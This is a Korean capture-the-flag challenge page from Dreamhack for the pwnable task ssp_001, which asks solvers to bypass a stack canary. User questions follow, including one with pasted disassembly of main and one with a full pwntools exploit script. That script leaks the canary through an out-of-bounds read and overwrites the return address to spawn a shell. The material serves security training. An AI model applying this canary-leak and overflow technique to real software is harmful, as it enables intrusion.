LEVEL 2

ssp_001

pwnable
  • 문제 정보
  • 풀이 158
  • 난이도 투표 88
  • 질문 23
  • 최근 풀이자 2545
  • 댓글 73

문제 설명

Description

이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
Reference

Stack Smashing Protector

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

KuroNeko
워게임 고인물
출제된 지 1일 만에 풀이 완료!

난이도 투표 88

질문 23

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
계산을 잘못했을까요..? 스택 그리기
몇번을 계산해봤는데도 자꾸 차이가 6이 나오네요 name_len은 int형이니까 차이가 4가 나와야 할텐데.. 제가 혹시 계산을 잘못한걸까요?? 그런거면 너무 창피할듯... 0x0804872b <+0>: push ebp 0x0804872c <+1>: mov ebp,esp 0x0804872e <+3>: push edi 0x0804872f <+4>: sub esp,0x94 0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc] 0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax 0x0804873e <+19>: mov eax,gs:0x14 0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax 0x08048747 <+28>: xor eax,eax 0x08048749 <+30>: lea edx,[ebp-0x88] 0x0804874f <+36>: mov eax,0x0 0x08048754 <+41>: mov ecx,0x10 0x08048759 <+46>: mov edi,edx 0x0804875b <+48>: rep stos DWORD PTR es:[edi],eax 0x0804875d <+50>: lea edx,[ebp-0x48] 0x08048760 <+53>: mov eax,0x0 0x08048765 <+58>: mov ecx,0x10 0x0804876a <+63>: mov edi,edx 0x0804876c <+65>: rep stos DWORD PTR es:[edi],eax 0x0804876e <+67>: mov WORD PTR [ebp-0x8a],0x0 0x08048777 <+76>: mov DWORD PTR [ebp-0x94],0x0 0x08048781 <+86>: mov DWORD PTR [ebp-0x90],0x0 0x0804878b <+96>: call 0x8048672 <initialize> 0x08048790 <+101>: call 0x80486f1 <menu> 0x08048795 <+106>: push 0x2 0x08048797 <+108>: lea eax,[ebp-0x8a] 0x0804879d <+114>: push eax 0x0804879e <+115>: push 0x0 0x080487a0 <+117>: call 0x80484a0 <read@plt> 0x080487a5 <+122>: add esp,0xc 0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a] 0x080487af <+132>: movsx eax,al 0x080487b2 <+135>: cmp eax,0x46 0x080487b5 <+138>: je 0x80487c6 <main+155> 0x080487b7 <+140>: cmp eax,0x50 0x080487ba <+143>: je 0x80487eb <main+192> 0x080487bc <+145>: cmp eax,0x45 0x080487bf <+148>: je 0x8048824 <main+249> 0x080487c1 <+150>: jmp 0x804887a <main+335> 0x080487c6 <+155>: push 0x804896c 0x080487cb <+160>: call 0x80484b0 <printf@plt> 0x080487d0 <+165>: add esp,0x4 0x080487d3 <+168>: push 0x40 0x080487d5 <+170>: lea eax,[ebp-0x88] 0x080487db <+176>: push eax 0x080487dc <+177>: push 0x0 0x080487de <+179>: call 0x80484a0 <read@plt> 0x080487e3 <+184>: add esp,0xc 0x080487e6 <+187>: jmp 0x804887a <main+335> 0x080487eb <+192>: push 0x8048979 0x080487f0 <+197>: call 0x80484b0 <printf@plt> 0x080487f5 <+202>: add esp,0x4 0x080487f8 <+205>: lea eax,[ebp-0x94] 0x080487fe <+211>: push eax 0x080487ff <+212>: push 0x804898a 0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt> 0x08048809 <+222>: add esp,0x8 0x0804880c <+225>: mov eax,DWORD PTR [ebp-0x94] 0x08048812 <+231>: push eax 0x08048813 <+232>: lea eax,[ebp-0x88] 0x08048819 <+238>: push eax 0x0804881a <+239>: call 0x80486cc <print_box> 0x0804881f <+244>: add esp,0x8 0x08048822 <+247>: jmp 0x804887a <main+335> 0x08048824 <+249>: push 0x804898d 0x08048829 <+254>: call 0x80484b0 <printf@plt> 0x0804882e <+259>: add esp,0x4 0x08048831 <+262>: lea eax,[ebp-0x90] 0x08048837 <+268>: push eax 0x08048838 <+269>: push 0x804898a 0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt> 0x08048842 <+279>: add esp,0x8 0x08048845 <+282>: push 0x804899a 0x0804884a <+287>: call 0x80484b0 <printf@plt> 0x0804884f <+292>: add esp,0x4 0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90] 0x08048858 <+301>: push eax 0x08048859 <+302>: lea eax,[ebp-0x48] 0x0804885c <+305>: push eax 0x0804885d <+306>: push 0x0 0x0804885f <+308>: call 0x80484a0 <read@plt> 0x08048864 <+313>: add esp,0xc 0x08048867 <+316>: mov eax,0x0 0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8] 0x0804886f <+324>: xor edx,DWORD PTR gs:0x14 0x08048876 <+331>: je 0x8048884 <main+345> 0x08048878 <+333>: jmp 0x804887f <main+340> 0x0804887a <+335>: jmp 0x8048790 <main+101> 0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt> 0x08048884 <+345>: mov edi,DWORD PTR [ebp-0x4] 0x08048887 <+348>: leave 0x08048888 <+349>: ret `
하늘꿈
카나리 리틀엔디언 저장 관련
from pwn import * p = remote('host3.dreamhack.games', 21344) e = ELF('./ssp') pay = b'a'*129 p.sendafter(b'> ',b'F') p.sendafter(b'box input : ', pay) p.sendafter(b'> ',b'P') p.sendlineafter('Element index : ', '131') p.recvuntil(b'Element of index 131 is : ') canary = p.recv(2) p.sendafter(b'> ',b'P') p.sendlineafter(b'Element index : ',b'130') p.recvuntil(b'Element of index 130 is : ') canary += p.recv(2) p.sendafter(b'> ',b'P') p.sendlineafter(b'Element index : ',b'129') p.recvuntil(b'Element of index 129 is : ') canary += p.recv(2) p.sendafter(b'> ',b'P') p.sendlineafter(b'Element index : ',b'128') p.recvuntil(b'Element of index 128 is : ') canary += p.recv(2) success(canary) canary = int(canary,16) success('p sent') address = 0x080486b9 payload = b'a'64 + p32(canary) + b'a'0x8 + p32(address) p.sendafter(b'> ',b'E') p.sendlineafter(b'Name Size : ',b'1000') p.sendafter(b'Name : ', payload) p.interactive() 위는 제가 작성한 코드입니다. 카나리와 관련해서 질문이 있습니다. 처음에 카나리값을 128~131까지 받아와서 저장한 뒤 payload를 보낼 때 p32(canary)를 해주면 될 것이라고 생각해서 해봤는데 안되었습니다. 하지만 카나리를 역순으로 받으니 문제가 해결되더라고요. 질문사항은 아래와 같습니다. 위 코드대로 했을 때는 처음에 recv를 통해서 만들어진 canary 값은 원래 값의 역순일 것입니다.(예를 들어 원래 카나리 값이 00112233 이렇다면 저기의 canary는 33221100이겠죠) 그런데 이렇게 만들어진 카나리에 p32()를 씌워버리면 다시 00112233이 되니까 페이로드를 보낼 때 리틀엔디언방식(즉 역순)으로 보내지는 것이 아니라서 처음에 받을 때 순방향으로 받고 p32()로 리틀엔디언 패킹을 해줘야 하는게 아닌가요? 이렇게 생각한 이유는 address의 경우 순방향 값인 0x080486b9을 address에 넣은 뒤 p32()로 페이로드에 작성했으므로 canary도 처음에 순방향으로 받고 이후에 p32()로 리틀엔디언 패킹을 해줘야한다고 생각해서입니다.
탈퇴한 이용자

최근 풀이자 2545

avatar
NT_DoHyun
대표 업적 없음
sssswhatisit
대표 업적 없음
avatar
seyou
대표 업적 없음
billcho
대표 업적 없음
avatar
kyoraku
대표 업적 없음
kernelpanic
대표 업적 없음
IMGYU
대표 업적 없음
avatar
Grayaa
대표 업적 없음
bbean
대표 업적 없음
gongyoo-fun-club
대표 업적 없음

댓글 73

avatar
minmoong0828
세계수
좋은 문제
avatar
junan
사이보그
정말 달콤해~
B0n9k
대표 업적 없음
굿굿
avatar
스카이넷
워게임 고인물
ez
O_F
대표 업적 없음
좀 힘들었습니다.
바꿀수도있는닉네임
대표 업적 없음
r굳
avatar
TEMPEST
워게임: 20
댁알이가 아파여
avatar
Rosieblue
워게임 고인물
시스템 해킹 로드맵 따라오면서 풀고 있는데 뭔가 워게임다운 문제를 처음으로 풀어보는 느낌이에요 재밌네용 ㅎㅎ 귀찮긴하지만,,,, 열심히 풀어보겠슴당
l000wk3y
공부벌레
stack을 직접 그려보면서 사이즈를 계산해보세요. 공부에 도움이 많이 됩니다.
롸플
강의 수강: 10
어셈블리어 열심히 읽었습니다.